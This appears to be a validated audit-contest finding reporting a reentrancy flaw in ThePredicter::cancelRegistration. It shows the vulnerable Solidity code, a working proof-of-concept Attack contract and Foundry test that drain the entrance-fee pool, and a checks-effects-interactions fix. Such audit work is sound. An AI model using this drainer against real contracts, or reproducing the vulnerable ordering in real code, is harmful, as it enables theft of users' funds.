Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can reenter ThePredicter::cancelRegistration and drain all the

Summary

There is a critical reentrancy vulnerability in the cancelRegistration function of ThePredicter protocol. This vulnerability allows an attacker to reenter the function and drain all entrance fees from the contract, posing a significant risk to the integrity and security of the protocol.

Vulnerability Details

The cancelRegistration function contains a reentrancy vulnerability that allows an attacker to repeatedly call the function and withdraw multiple times, draining all entrance fees from the contract. This issue is as a result of the function not following the checks-effects-interaction pattern. The status of the player was changed after an external call. It is a security risk to make an update after an external call as it opens up the function to reentancy.

//@audit attacker can drain the pool
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

POC

contract Attack {
ThePredicter public thePredicter;
constructor(address pred){
thePredicter = ThePredicter(pred);
}
function attack () public {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
}
function withdraw() public {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Failed to withdraw");
}
receive() external payable {
if (address(thePredicter).balance > 0){
thePredicter.cancelRegistration();
}
}
}
function test_RenterCancelRegistration() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attacker = makeAddr("stranger4");
vm.startPrank(stranger);
vm.warp(1);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.warp(1);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.warp(1);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(attacker);
Attack takeMoney = new Attack(address(thePredicter));
vm.deal(address( takeMoney), 0.04 ether);
takeMoney.attack();
takeMoney.withdraw();
assert(attacker.balance == 160000000000000000);
vm.stopPrank();
}

Impact

  1. Fund Drainage: An attacker can drain all entrance fees from the contract, leading to financial losses for the protocol and its participants.

  2. Loss of Trust: Exploitation of this vulnerability can lead to loss of trust in the protocol from participants and sponsors.

  3. Operational Disruption: Drained funds could disrupt the normal operation and intended functionality of the protocol.

Tools Used

Manual review

Recommendations

The function should be rewritten using checks-effect-interaction pattern

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.